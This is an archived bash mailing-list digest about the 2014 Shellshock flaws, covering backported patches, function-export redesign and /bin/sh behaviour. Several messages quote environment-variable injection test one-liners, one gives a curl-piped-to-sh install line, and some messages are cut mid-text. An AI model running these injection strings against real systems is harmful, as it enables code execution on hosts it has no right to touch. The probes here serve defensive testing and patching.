> The question in my mind is, is exporting functions a POSIX shell feature? If 
> not, perhaps it should just be scrapped altogether.

Why not read POSIX and find out for yourself?
http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#export

export -f is not required by POSIX, so it is a shell extension.  But
people DO rely on it, so nuking it now would be a backwards incompatible
break.  I'd still like to keep it, but with a smarter implementation.
Other messages on the list have suggested smarter implementations, such
as using 'BASH_FUNC_foo()=...' instead of 'foo=() {' as the magic for
doing the export, thus eliminating the collision.

I _also_ agree that since function exports are NOT required by POSIX,
that it would be okay if we let /bin/bash continue to import functions
by default, but have bash invoked as /bin/sh refuse to do imports by
default.  If the ability to import functions becomes conditional on
argv[0], then I also suggest that bash have a 'set -o' option or 'shopt'
setting that can let the user override the default (a way to invoke
/bin/sh but with function imports, or a way to invoke /bin/bash but with
no functions).

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Chet Ramey]

On 9/26/14, 4:53 AM, Jean-Christian de Rivaz wrote:
> Hello,
> 
> While this can seem completely obsolete, I still have machines running bash
> 2.05b (Debian etch). I worry about upgrading to bash 3.x because of some
> backward compatibility issue.
> It there any reason why there was no patch for bash 2.05b ? The test
> command below show that the bug also affect this version:
> 
> j$ bash --version
> GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
> Copyright (C) 2002 Free Software Foundation, Inc.
> j$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> vulnerable
> this is a test

Here's one.  Two, actually, one for each CVE.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
 BASH PATCH REPORT
 =

Bash-Release: 2.05b
Patch-ID: bash205b-008

Bug-Reported-by:Stephane Chazelas 
Bug-Reference-ID:
Bug-Reference-URL:

Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.

Patch:

*** ../bash-2.05b.07/builtins/common.h  2002-05-10 12:25:08.0 -0400
--- builtins/common.h   2014-09-25 10:18:20.0 -0400
***
*** 33,36 
--- 33,38 
  
  /* Flags for describe_command, shared between type.def and command.def */
+ #define SEVAL_FUNCDEF 0x080   /* only allow function definitions */
+ #define SEVAL_ONECMD  0x100   /* only allow a single command */
  #define CDESC_ALL 0x001   /* type -a */
  #define CDESC_SHORTDESC   0x002   /* command -V */
*** ../bash-2.05b.07/builtins/evalstring.c  2002-04-04 13:38:50.0 
-0500
--- builtins/evalstring.c   2014-09-25 10:18:20.0 -0400
***
*** 205,208 
--- 205,216 
  struct fd_bitmap *bitmap;
  
+ if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+   {
+ internal_warning ("%s: ignoring function definition attempt", 
from_file);
+ should_jump_to_top_level = 0;
+ last_result = last_command_exit_value = EX_BADUSAGE;
+ break;
+   }
+ 
  bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
  begin_unwind_frame ("pe_dispose");
***
*** 256,259 
--- 264,270 
  dispose_fd_bitmap (bitmap);
  discard_unwind_frame ("pe_dispose");
+ 
+ if (flags & SEVAL_ONECMD)
+   break;
}
}
*** ../bash-2.05b.07/variables.c2002-06-25 09:43:33.0 -0400
--- variables.c 2014-09-25 10:18:20.0 -0400
***
*** 270,279 
  strcpy (temp_string + char_index + 1, string);
  
! parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
! 
! /* Ancient backwards compatibility.  Old versions of bash exported
!functions like name()=() {...} */
! if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
!   name[char_index - 2] = '\0';
  
  if (temp_var = find_function (name))
--- 270,277 
  strcpy (temp_string + char_index + 1, string);
  
! /* Don't import function names that are invalid identifiers from the
!environment. */
! if (legal_identifier (name))
!   parse_and_execute (temp_string, name, 
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
  
  if (temp_var = find_function (name))
***
*** 284,291 
  else
report_error ("error importing function definition for `%s'", name);
- 
- /* ( */
- if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
-   name[char_index - 2] = '('; /* ) */
}
  #if defined (ARRAY_VARS)
--- 282,285 
 BASH PATCH REPORT
 =

Bash-Release: 2.05b
Patch-ID: bash205b-009

Bug-Reported-by:Tavis Ormandy 
Bug-Reference-ID:
Bug-Reference-URL:  http://twitter.com/taviso/statuses/514887394294652929

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch:

*** ../bash-2.05b.08/parse.y2002-05-21 11:57:30.0 -0400
--- parse.y 2014-09-25 16:46:51.0 -0400
***
*** 2356,2359 
--- 2356,2361 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
last_read_token = '\n';
token_to_read = '\n';
*** ../bash-2.05b.08/y.tab.c2002-05-21 11:57:35.0 -0400
--- y.tab.c 2014-09-25 16:56:20.0 -0400
***
*** 3877,3880 
--- 3877,3882 
word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahe

Re: Bash security issue

[Eric Blake]

On 09/26/2014 08:45 AM, Nick Bowler wrote:
> On 2014-09-25 15:08 -0700, Linda Walsh wrote:
>> Eric Blake wrote:
>>> Where I'm coming from is that in portable shell programming, you _can't_
>>> assign a value to f()=...  The fact that portable programs are now
>>> slammed with the notion that some values cannot be portably assigned
>>> to a variable...
>> ---
>> slammed?  It's not like this is new...
> [...]
>> As other have said:
>>
>> «Geir Hauge wrote: Bash has had this feature since "forever"»
>>
>> «Pierre Gaston wrote:  How many instance have you found since the
>>  introduction of this feature more than 20 years ago?»
> 
> Since I don't use bash it's not surprising that I've never noticed any
> problem.
> 
> But I try to write scripts that are portable to bash, because I know
> that many people do use it.  What I learned from this is that bog-
> standard assignments like this:
> 
>foo=$1; export foo
> 
> are not portable to bash, and may fail to work correctly depending on
> the user's input.

They are not portable to broken bash.  But the argument in these threads
is that bash's implementation of function exports should be changed so
that _fixed_ bash will once again be POSIX compliant and let this
bog-standard assignment work regardless of contents.  If Chet accepts
Florian's patch [1] to change function exports to use BASH_FUNC_foo()=
instead of foo= (which is what Red Hat is already using in their fixes
pushed today), then this POSIX compliance bug in broken bash will be
avoided.

[1] http://www.openwall.com/lists/oss-security/2014/09/25/13

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Bash security issue

[Steve Simmons]

On Sep 26, 2014, at 10:36 AM, Eric Blake  wrote:

> . . . I _also_ agree that since function exports are NOT required by POSIX,
> that it would be okay if we let /bin/bash continue to import functions
> by default, but have bash invoked as /bin/sh refuse to do imports by
> default. . .

The more I see of how many bash-isms work when bash is invoked as /bin/sh, the 
more convinced I get that we need to either

1) make bash when invoked as /bin/sh fail those bash-isms

2) build a 'real' /bin/sh without those compiled in. This begs the definition 
of 'real', but IMHO if it's not in POSIX, it shouldn't be in 'real' /bin/sh

Why this is bothering me today? There has been at least one instance of a group 
building a new bash, installing it, and finding the hard way that it didn't 
work at boot time. If /bin/sh had been a separate pared-down thing, they could 
have at least booted.

I have always been unhappy with /bin/sh being a symlink to /bin/bash rather 
than a separate pared-down executable or with bash features turned off). The 
last couple of days only reinforces that opinion.

Yours in haste,

Steve

Re: Bash security issue

[Greg Wooledge]

On Fri, Sep 26, 2014 at 10:51:36AM -0400, Steve Simmons wrote:
> The more I see of how many bash-isms work when bash is invoked as /bin/sh, 
> the more convinced I get that we need to either
> 
> 1) make bash when invoked as /bin/sh fail those bash-isms
> 
> 2) build a 'real' /bin/sh without those compiled in. This begs the definition 
> of 'real', but IMHO if it's not in POSIX, it shouldn't be in 'real' /bin/sh

Many operating systems do ship a POSIX /bin/sh which isn't bash.
Ubuntu and Debian come to mind, among the Linux distributions.  There are
also all of the BSDs (I don't think any of them install bash as /bin/sh)
and all of the commercial Unix flavors (same).

The problem is, many *other* Linux distributions (even including older
versions of Debian and Ubuntu) ship bash as /bin/sh, and users who
are not adept at shell programming don't understand the difference.
So there are untold numbers of scripts on Linux systems in the real world
which use #!/bin/sh as their header, but which use some bash syntax.
These will all break if the user installs dash/pdksh as /bin/sh.

Re: Bash security issue

[Paul Smith]

On Fri, 2014-09-26 at 10:51 -0400, Steve Simmons wrote:
> 2) build a 'real' /bin/sh without those compiled in. This begs the
> definition of 'real', but IMHO if it's not in POSIX, it shouldn't be
> in 'real' /bin/sh

Ubuntu and it's derivatives have been doing this since 2006.  /bin/sh on
these systems is dash:

https://wiki.ubuntu.com/DashAsBinSh

They get a lot flak for it amongst people who care more about having
things work than having things portable, but they've stuck to their guns
so far.  Probably this current situation leaves them feeling justified
and even more resolute.  As someone who develops a lot of embedded
software and is constantly burned by people throwing badly-written
bash-specific scripts into their packages, I have really appreciated
them taking this stand.

It would be great if Red Hat would also join in, but I cannot imagine
that happening, ever: way too much would break for too little gain.

Re: version string can cause overflow and affect eip/rip (needs length check in version string)

[Johan Nestaas]

> If you want to do this to yourself, why should bash stop you?

If at any point in the future a sequence of events allows someone to alter
the version string while a system or package is being built, it would be
more serious. Any code or side effect that would change the version string
might appear innocent, and it could easily fool anyone. Lots of bugs have
appeared just as innocent until they've been abused to great effect. Even
just the control of digits will have varying effects on different platforms.

I understand if no one feels the need to change it, but it seems easy
enough to add a length check or even just a comment. IMHO it's just not a
good idea for an input string to have an implicit length limit and to be
trusted that it will never once grow over 32 bytes in the software, at any
point in the future where bash is used.

Cheers,
Johan
On Sep 26, 2014 6:04 AM, "Chet Ramey"  wrote:

> On 9/26/14, 3:13 AM, Johan Nestaas wrote:
> > This isn't nearly as important as shellshock or whatever you want to call
> > it, but I found this while glancing at the source and the latest patch.
> > It's a funny little bug that I doubt could ever be useful for malicious
> > reasons, unless you can determine an address to jump to that is comprised
> > of all hex characters 30-39 (digits) due to the regex check on the
> version
> > string, and also if the "attacker" could set a version string.
> >
> > Still, a bad version string in a configure shouldn't allow someone to
> jump
> > to an arbitrary address in memory. Might be a good idea to add a length
> > check in configure or make.
>
> If you want to do this to yourself, why should bash stop you?
>
> Chet
>
> --
> ``The lyf so short, the craft so long to lerne.'' - Chaucer
>  ``Ars longa, vita brevis'' - Hippocrates
> Chet Ramey, ITS, CWRUc...@case.edu
> http://cnswww.cns.cwru.edu/~chet/
>

Re: Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Jean-Christian de Rivaz]

Le 26. 09. 14 16:47, Chet Ramey a écrit :

On 9/26/14, 4:53 AM, Jean-Christian de Rivaz wrote:

Hello,

While this can seem completely obsolete, I still have machines running bash
2.05b (Debian etch). I worry about upgrading to bash 3.x because of some
backward compatibility issue.
It there any reason why there was no patch for bash 2.05b ? The test
command below show that the bug also affect this version:

j$ bash --version
GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
Copyright (C) 2002 Free Software Foundation, Inc.
j$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Here's one.  Two, actually, one for each CVE.


Hi Chet,

Applied without problem and there fixed the issues, as fare as I can 
test it.


$ bash --version
GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
Copyright (C) 2002 Free Software Foundation, Inc.
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test

Thanks you very much for those patches :-)

Best Regards,

Jean-Christian

Re: Bash security issue

[Zack Weinberg]

On Fri, Sep 26, 2014 at 10:36 AM, Eric Blake  wrote:
> On 09/26/2014 08:22 AM, Zack Weinberg wrote:
>>
>> The question in my mind is, is exporting functions a POSIX shell feature?
>> If not, perhaps it should just be scrapped altogether.
>
> Why not read POSIX and find out for yourself?

I would normally, but I am traveling right now and limited to things
that work on my phone.  The Open Group's site is not one of those
things, unfortunately.  Thanks for checking for me.

> export -f is not required by POSIX, so it is a shell extension.  But
> people DO rely on it, so nuking it now would be a backwards incompatible
> break.  I'd still like to keep it, but with a smarter implementation.

Fair enough...

> Other messages on the list have suggested smarter implementations, such
> as using 'BASH_FUNC_foo()=...' instead of 'foo=() {' as the magic for
> doing the export, thus eliminating the collision.

That should help.  I might be a bit more aggressive, e.g.

_BASH_FUNC_<8 random hex chars>_() = body of function

The 8 random hex chars come from something unpredictable but stable in
the filesystem, so even if an attacker can somehow put () in an
environment variable name they can't reasonably generate these names.
(I think 2^-64 is probably improbable enough for this.)

And I'd take the curly braces off the function body, too, to ensure
the original bug can't possibly come back.

> it would be okay if we let /bin/bash continue to import functions
> by default, but have bash invoked as /bin/sh refuse to do imports by
> default.  If the ability to import functions becomes conditional on
> argv[0], then I also suggest that bash have a 'set -o' option or 'shopt'
> setting that can let the user override the default (a way to invoke
> /bin/sh but with function imports, or a way to invoke /bin/bash but with
> no functions).

Sure.

zw

Re: Bash security issue

[Nick Bowler]

On 2014-09-25 15:08 -0700, Linda Walsh wrote:
> Eric Blake wrote:
> > Where I'm coming from is that in portable shell programming, you _can't_
> > assign a value to f()=...  The fact that portable programs are now
> > slammed with the notion that some values cannot be portably assigned
> > to a variable...
> ---
> slammed?  It's not like this is new...
[...]
> As other have said:
> 
> «Geir Hauge wrote: Bash has had this feature since "forever"»
> 
> «Pierre Gaston wrote:  How many instance have you found since the
>  introduction of this feature more than 20 years ago?»

Since I don't use bash it's not surprising that I've never noticed any
problem.

But I try to write scripts that are portable to bash, because I know
that many people do use it.  What I learned from this is that bog-
standard assignments like this:

   foo=$1; export foo

are not portable to bash, and may fail to work correctly depending on
the user's input.

Cheers,
-- 
Nick Bowler, Elliptic Technologies (http://www.elliptictech.com/)

Re: Bash security issue

[Nick Bowler]

On 2014-09-26 08:51 -0600, Eric Blake wrote:
> On 09/26/2014 08:45 AM, Nick Bowler wrote:
> > On 2014-09-25 15:08 -0700, Linda Walsh wrote:
> >> Eric Blake wrote:
> >>> Where I'm coming from is that in portable shell programming, you _can't_
> >>> assign a value to f()=...  The fact that portable programs are now
> >>> slammed with the notion that some values cannot be portably assigned
> >>> to a variable...
> >> ---
> >> slammed?  It's not like this is new...
> > [...]
> >> As other have said:
> >>
> >> «Geir Hauge wrote: Bash has had this feature since "forever"»
> >>
> >> «Pierre Gaston wrote:  How many instance have you found since the
> >>  introduction of this feature more than 20 years ago?»
> > 
> > Since I don't use bash it's not surprising that I've never noticed any
> > problem.
> > 
> > But I try to write scripts that are portable to bash, because I know
> > that many people do use it.  What I learned from this is that bog-
> > standard assignments like this:
> > 
> >foo=$1; export foo
> > 
> > are not portable to bash, and may fail to work correctly depending on
> > the user's input.
> 
> They are not portable to broken bash.  But the argument in these threads
> is that bash's implementation of function exports should be changed so
> that _fixed_ bash will once again be POSIX compliant and let this
> bog-standard assignment work regardless of contents.  If Chet accepts
> Florian's patch [1] to change function exports to use BASH_FUNC_foo()=
> instead of foo= (which is what Red Hat is already using in their fixes
> pushed today), then this POSIX compliance bug in broken bash will be
> avoided.

I agree.  This sounds like a simple and effective solution.

Cheers,
-- 
Nick Bowler, Elliptic Technologies (http://www.elliptictech.com/)

Re: Bash --version issue

[Allodoxaphobia]

On Fri, 26 Sep 2014 10:25:32 -0400, Chet Ramey wrote:
> On 9/26/14, 10:15 AM, Allodoxaphobia wrote:
>
>> There was another bash upgrade in the FreeBSD ports this A.M.
>> Thinking it might resolve my bash --version problem, I applied it.
>> 
>> sigh...
>> 
>>  | [userid~]bash
>>  | /usr/local/bin/bash: warning: x: ignoring function definition attempt
>>  | /usr/local/bin/bash: error importing function definition for `x'
>>  | bash: warning: x: ignoring function definition attempt
>>  | bash: error importing function definition for `x'
>>  | [userid@vps ~]$   
>
> OK. What do
>
> type x
>
> and
>
> echo $x
>
> return when you run them in the shell that invokes bash, which then 
> throws the above error?

Ahhh!!!  I see it now.

Before I did the bash upgrade I had done the SHELLSHOCK test:
 | $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
 | bash: warning: x: ignoring function definition attempt
 | bash: error importing function definition for `x'

Then, without logging out I did the (newest, 2nd) FreeBSD bash upgrade. 

And then -- still without logging out -- I would see the following for 
the she-bang in a script:

 | $ script.sh
 | /usr/local/bin/bash: warning: x: ignoring function definition attempt
 | /usr/local/bin/bash: error importing function definition for `x'

Simply logging out and back in again has cleared up this "new problem".
Sorry for the noise.

Jonesy
-- 
  Marvin L Jones| Marvin  | W3DHJ  | linux
   38.238N 104.547W |  @ jonz.net | Jonesy |  OS/2
* Killfiling google & banter.com: jonz.net/ng.htm

Re: Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Steve Simmons]

These patches build and run without problem in our initial bash2 tests. 
However, I notice that both the version number reported by ./bash --version and 
doing ./bash followed by echo $BASH_VERSION both report "2.05b.0(1)-release". 
All versions that I've tested of bash3 and bash4 report their patchlevel in the 
third field. If I manually update patchlevel.h to change from 0 to 9, the 
version is reported as '2.05b.((1)-release'. Bug?

Steve

On Sep 26, 2014, at 10:47 AM, Chet Ramey  wrote:

> On 9/26/14, 4:53 AM, Jean-Christian de Rivaz wrote:
>> Hello,
>> 
>> While this can seem completely obsolete, I still have machines running bash
>> 2.05b (Debian etch). I worry about upgrading to bash 3.x because of some
>> backward compatibility issue.
>> It there any reason why there was no patch for bash 2.05b ? The test
>> command below show that the bug also affect this version:
>> 
>> j$ bash --version
>> GNU bash, version 2.05b.0(1)-release (i386-pc-linux-gnu)
>> Copyright (C) 2002 Free Software Foundation, Inc.
>> j$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
>> vulnerable
>> this is a test
> 
> Here's one.  Two, actually, one for each CVE.
> 
> -- 
> ``The lyf so short, the craft so long to lerne.'' - Chaucer
>``Ars longa, vita brevis'' - Hippocrates
> Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
> 

Re: REGRESSION: shellshock patch rejects valid function names

[Eduardo A . Bustamante López]

Well, what did you expect? You're relying on undocumented features.

Relevant sections from the manual:

Definition of 'name':
|  name   A word consisting only of alphanumeric characters and 
underscores, and beginning with an alphabetic character or  an
| underscore.  Also referred to as an identifier.

Definition of shell functions:
|   Shell Function Definitions
|   A  shell function is an object that is called like a simple command and 
executes a compound command with a new set of posi‐
|   tional parameters.  Shell functions are declared as follows:
|
|   name () compound-command [redirection]
|   function name [()] compound-command [redirection]
|  This defines a function named name.  The reserved word function 
is optional.  If the function reserved word is  sup‐
|  plied,  the  parentheses  are optional.  The body of the 
function is the compound command compound-command (see Com‐
|  pound Commands above).  That command is usually a list of 
commands between { and }, but may be  any  command  listed
|  under Compound Commands above.  compound-command is executed 
whenever name is specified as the name of a simple com‐
|  mand.  When in posix mode, name may not be the name of one of 
the POSIX special builtins.  Any redirections (see RE‐
|  DIRECTION  below) specified when a function is defined are 
performed when the function is executed.  The exit status
|  of a function definition is zero unless a syntax error occurs or 
a readonly function  with  the  same  name  already
|  exists.   When  executed, the exit status of a function is the 
exit status of the last command executed in the body.
|  (See FUNCTIONS below.)

It's common knowledge that if you rely on undocumented stuff, your
code will eventually break, like it did now. It's not a regression
though, nowhere in the manual you'll find that colons are allowed in
function names.

So, fix your scripts, perhaps?

Re: Bash 2.05b patch for 896776 - (CVE-2014-6271) ?

[Jean-Christian de Rivaz]

Le 26. 09. 14 18:55, Steve Simmons a écrit :

These patches build and run without problem in our initial bash2 tests. However, I notice 
that both the version number reported by ./bash --version and doing ./bash followed by 
echo $BASH_VERSION both report "2.05b.0(1)-release". All versions that I've 
tested of bash3 and bash4 report their patchlevel in the third field. If I manually 
update patchlevel.h to change from 0 to 9, the version is reported as 
'2.05b.((1)-release'. Bug?

Steve
I have observer that too. I searched into the source code and found that 
while
the mkversion.sh script have a patchlevel option, the Makefile.in do not 
seem

to be designed to use that feature prior to the 3.x version.

I wonder if adding a patch level in the version string might break code that
parse it to workaround some compatibility issues. On my side, I am fine with
a sticky version string for that old setup.

Jean-Christian

Re: REGRESSION: shellshock patch rejects valid function names

[Jay Freeman (saurik)]

- "Eduardo A. Bustamante López"  wrote:

> Well, what did you expect? You're relying on undocumented features.
...
> So, fix your scripts, perhaps?

I am sorry I seem to have offended you so much to have warranted this form of 
response :(.

> It's common knowledge that if you rely on undocumented stuff, your
> code will eventually break, like it did now. It's not a regression
> though, nowhere in the manual you'll find that colons are allowed in
> function names.

Please note that I am by far not the only person who uses colons in function 
names: Google's style guide for shell actually states that using :: in function 
names to separate library names from function names and package names within 
library names is their best practice.

http://google-styleguide.googlecode.com/svn/trunk/shell.xml?showone=Function_Names#Function_Names

"Lower-case, with underscores to separate words. Separate libraries with ::. 
Parentheses are required after the function name. The keyword function is 
optional, but must be used consistently throughout a project." "If you're 
writing a package, separate package names with ::."

If we are going to be adamant that this functionality--functionality that many 
people have relied on since the dawn of bash (the earliest version of bash I 
have access to has always allowed this), functionality that the code went out 
of its way to support (that check_word flag exists SOLELY for this purpose: 
this isn't accidental), functionality that "makes sense" (as it allows function 
names to replace any normal executable command), functionality that one of the 
world's largest software companies not only uses but actively encourages 
third-parties to use--is a "duh, you shouldn't have done that, fix your s**t" 
scenario, can we at least 1) document this behavior change and 2) start a 
deprecation schedule on function/export supporting these identifiers in the 
first place?

Exploit 2 (CVE-2014-7169)

[Brady Cummings]

Bash Maintainers,

Bash Version  :  GNU bash, version 4.3.25(2)-release (i686-pc-linux-gnu)
OS Version:  Fedora release 8
Processor :  Intel Atom D425 1.8GHz Single-core 
RAM   :  1GB
Compilation Flags :  Defaults (compiles fine)

Bug:  Exploit 2 (CVE-2014-7169) still exists 4.3.25(2) version when complied in 
Fedora Core 8. 

Command : bash -version  ||  sh --version 
Results : 
  GNU bash, version 4.3.25(2)-release (i686-pc-linux-gnu)
  Copyright (C) 2013 Free Software Foundation, Inc.
  License GPLv3+: GNU GPL version 3 or later 


  This is free software; you are free to change and redistribute it.
  There is NO WARRANTY, to the extent permitted by law.

Command : env X='() { (a)=>\' bash -c "echo date"; cat echo

Results : 
  bash: X: line 1: syntax error near unexpected token `='
  bash: X: line 1: `'
  bash: error importing function definition for `X'
  Fri Sep 26 11:05:55 CDT 2014

Recipe  : Based on script from https://shellshocker.net/

  curl https://shellshocker.net/fixbash | sh
  cp -f /usr/local/bin/bash /bin/bash
  sh --version
  env X='() { (a)=>\' bash -c "echo date"; cat echo

Thanks, 

Brady Cummings
Sr. Software Engineer 
CONTROL | CONNECT | IMPROVE 
TCS Basys Controls 2800 Laura Lane 
Middleton, WI 53562 
TOLLFREE: 800.288.9383 PH: 608.836.9034 Ext. 9180 FX: 608.836.9044 
www.tcsbasys.com 

Please consider the environment before printing this e-mail 
This message is for the named person's use only. You must not, directly or 
indirectly, use, disclose, distribute, print, or copy any part of this message 
if you are not the intended recipient.  © 2013 Temperature Control Specialties 

CVE-2014-7169 vs CVE-2014-6271

[Alan Wild]

I've been searching for some clarification on these two "fixes" and I'm
utterly confused.  I've been lead to believe RedHat's first patch (6271) is
based on code from Chet that just causes bash to reject functions where
code appears outside of the function body.

However, this patch was labeled as "insufficient" and 7169 now appears to
completely remove the ability to receive function definitions from the
environment.

I have production code that requires function exporting that's going to be
broken by 7169.  Is this some knee-jerk reaction by just RedHat or is this
a revised patch from Chet marking a change in bash functionality?

My company's cybersecurity folks are pushing to install 7169 as soon as
possible and while I'm trying to push back I need to know if this a
strategic change in direction for bash, RHEL, or what, exactly.  (Because I
need to know how extensively I need to reachitect my application).

-Alan

-- 
a...@madllama.net http://humbleville.blogspot.com

Re: CVE-2014-7169 vs CVE-2014-6271

[Alan Wild]

Not that I get a "vote", but if I did... I'm completely supportive of
dropping function "importing" support when bash is invoked as /bin/sh (or
--posix).  This is clearly bash-specific functionality that isn't needed
for POSIX-compliance.  Seams like a much more reasonable middle-ground then
pulling it altogether.

-Alan

On Fri, Sep 26, 2014 at 11:58 AM, Alan Wild  wrote:

> I've been searching for some clarification on these two "fixes" and I'm
> utterly confused.  I've been lead to believe RedHat's first patch (6271) is
> based on code from Chet that just causes bash to reject functions where
> code appears outside of the function body.
>
> However, this patch was labeled as "insufficient" and 7169 now appears to
> completely remove the ability to receive function definitions from the
> environment.
>
> I have production code that requires function exporting that's going to be
> broken by 7169.  Is this some knee-jerk reaction by just RedHat or is this
> a revised patch from Chet marking a change in bash functionality?
>
> My company's cybersecurity folks are pushing to install 7169 as soon as
> possible and while I'm trying to push back I need to know if this a
> strategic change in direction for bash, RHEL, or what, exactly.  (Because I
> need to know how extensively I need to reachitect my application).
>
> -Alan
>
> --
> a...@madllama.net http://humbleville.blogspot.com
>



-- 
a...@madllama.net http://humbleville.blogspot.com

Environment variable of a name which is often used

[Norihiro Tanaka]

I tried 4.3.25 in order to check the details of CVE-2014-6271, and
confirmed that the bug is fixed with a test case.

Next, I tried following case, and receive an output `rm -rf /'.  I seem
that is designed, but it's also vulnerable.

$ cat 

Re: REGRESSION: shellshock patch rejects valid function names

[Greg Wooledge]

On Fri, Sep 26, 2014 at 08:08:23PM +, Jay Freeman (saurik) wrote:
> Google's style guide for shell actually states that using :: in function
> names to separate library names from function names and package names within
> library names is their best practice.

My respect for Google just dropped.  More.

Re: REGRESSION: shellshock patch rejects valid function names

[Eric Blake]

On 09/26/2014 02:08 PM, Jay Freeman (saurik) wrote:

[can you convince your mailer to wrap long lines?]

> 
> "Lower-case, with underscores to separate words. Separate libraries with ::. 
> Parentheses are required after the function name. The keyword function is 
> optional, but must be used consistently throughout a project." "If you're 
> writing a package, separate package names with ::."

> "Lower-case, with underscores to separate words. Separate libraries
with ::. Parentheses are required after the function name. The keyword
function is optional, but must be used consistently throughout a
project." "If you're writing a package, separate package names with ::."

Ugg. Anyone advising people to write bash functions while using the
obsolete keyword 'function' ought to be questioned about their advice in
general.

At any rate, this seems like an inadvertent regression that could be
patched; are you willing to propose such a patch?  The gist of the
matter is that the code base must use the same decision on what forms a
valid function name as it does in deciding what exported non-variable
names in the environment can be reinstated as functions.  I'm fairly
certain that Chet will be reasonable about this, and after the worst
fires are put out, we can revisit this.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: Bash security issue

[Linda Walsh]

Eric Blake wrote:


They are not portable to broken bash.  But the argument in these threads
is that bash's implementation of function exports should be changed so
that _fixed_ bash will once again be POSIX compliant and let this
bog-standard assignment work regardless of contents.  If Chet accepts
Florian's patch [1] to change function exports to use BASH_FUNC_foo()=
instead of foo= (which is what Red Hat is already using in their fixes
pushed today), then this POSIX compliance bug in broken bash will be
avoided.

[1] http://www.openwall.com/lists/oss-security/2014/09/25/13



IS this added only in memory? I.e. no changes to source code?

What prevents BASH_FUNC_foo = '(){ :; ...';

Why is there a need for a long prefix on top of switching
the ()/= order?

Re: Detecting invocation as /bin/sh ?

[Alexandre Ferrieux]

On Friday, September 26, 2014 10:00:08 AM UTC+2, Andreas Schwab wrote:
> Alexandre Ferrieux  writes:
> 
> > So, what about, in bash's initialization, detecting that we are invoked as
> > "/bin/sh",
> 
> It already does.  See (bash) Bash POSIX Mode.

Yes, it does do this detection, but too late for our concern, since things 
occur in the following order:

 (1) set_shell_name(argv[0]) => this detects "sh" and sets 'act_like_sh'
 (2) shell_initialize() => this decides to import funcs from env depending on 
flags like 'posixly_correct'
 (3) if (act_like_sh) ... sv_strict_posix ("POSIXLY_CORRECT")

So it seems the order is wrong. As a consequence, and this is confirmed by 
experience, the #!/bin/sh prefix behaves as featuristic bash.

My suggestion then is to undo that mistake.

-Alex

Re: Exploit 2 (CVE-2014-7169)

[Eric Blake]

On 09/26/2014 10:27 AM, Brady Cummings wrote:
> Bash Maintainers,
> 
> Bash Version  :  GNU bash, version 4.3.25(2)-release (i686-pc-linux-gnu)
> OS Version:  Fedora release 8
> Processor :  Intel Atom D425 1.8GHz Single-core 
> RAM   :  1GB
> Compilation Flags :  Defaults (compiles fine)
> 
> Bug:  Exploit 2 (CVE-2014-7169) still exists 4.3.25(2) version when complied 
> in Fedora Core 8. 

Yes.  We know.  Chet will shortly be publishing 4.3.26:

http://www.openwall.com/lists/oss-security/2014/09/26/1

Meanwhile, I _highly_ recommend this additional patch:

http://www.openwall.com/lists/oss-security/2014/09/25/13

as it will also make you immune to CVE-2014-7186 and CVE-2014-7187, at
least from the perspective that arbitrary variable assignments can no
longer trigger those crashes (even if your bash in isolation is still
buggy, the point of the patch is to put exported variables in a
different namespace than normal shell variables, and also has the
benefit of making bash no longer violate POSIX with regards to exporting
normal variables with arbitrary contents).  I have not yet seen
one-liner formulas to probe whether your build of bash is vulnerable to
those two CVEs through environment variables, but as those parser bugs
are public, here goes my attempt:

$ env 'f=() { true  This message is for the named person's use only. You must not, directly or 
> indirectly, use,

Sorry, but this is a publicly archived list.  Your employer's legalese
blurb is unenforceable here.

-- 
Eric Blake   eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org



signature.asc
Description: OpenPGP digital signature

Re: CVE-2014-7169 vs CVE-2014-6271

[Eric Blake]

On 09/26/2014 10:58 AM, Alan Wild wrote:
> I've been searching for some clarification on these two "fixes" and I'm
> utterly confused.  I've been lead to believe RedHat's first patch (6271) is

[Red Hat is two words.]

> based on code from Chet that just causes bash to reject functions where
> code appears outside of the function body.

You are correct.  Patch 25 for 6271 stops the parser from reading
variables that contain more than a single function definition.  But it
does NOT stop the fact that the parser ran at all, so anything else
buggy in the parser is still triggered.  However, these subsequent bugs
are MUCH harder to turn into exploits; so if you have a choice between
patching 6271 now and waiting for the 7169 fix later at the cost of two
updates, vs. doing only a single update to both CVEs at once, I _highly_
recommend patching 6271 now because of how bad it is.

> 
> However, this patch was labeled as "insufficient" and 7169 now appears to
